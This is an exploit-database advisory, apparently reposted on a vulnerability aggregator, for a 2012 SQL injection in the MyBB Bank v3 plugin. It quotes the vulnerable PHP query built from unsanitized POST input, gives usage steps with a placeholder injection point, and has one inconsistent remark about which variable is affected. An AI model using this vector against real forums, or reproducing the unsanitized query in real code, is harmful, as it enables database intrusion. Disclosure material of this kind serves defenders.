Lucene search
K

MyBB Bank- 3 Plugin - SQL Injection

🗓️ 11 Dec 2012 00:00:00Reported by Red_HatType 
exploitdb
 exploitdb
🔗 www.exploit-db.com👁 17 Views

MyBB Bank v3 plugin vulnerable to SQL Injection attack through unsanitized user input.

Code
# Exploit Title: Bank v3 MyBB plugin SQLi 0day
# Exploit Author: Red_Hat [NullSec]
# Software Link: http://mods.mybb.com/download/bank-v3
# Tested on: Windows & Linux.

Vulnerable code :

<?php
     $user=$_POST['r_username'];
     $pay=intval($_POST['r_pay']);
     $query_r=$db->query("SELECT * FROM ".TABLE_PREFIX."users WHERE username='$user'");
     $fetch=$db->fetch_array($query_r);
?>

The variable '$mybb->input['id']' remains unsanitized.

Usage : 
http://www.site.com/bank.php
/GET transactions=send
/POST r_pay=Red_Hat&r_username=[SQLi]

Shoutout to Zixem <3 & NullSec :3

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

11 Dec 2012 00:00Current
7.4High risk
Vulners AI Score7.4
17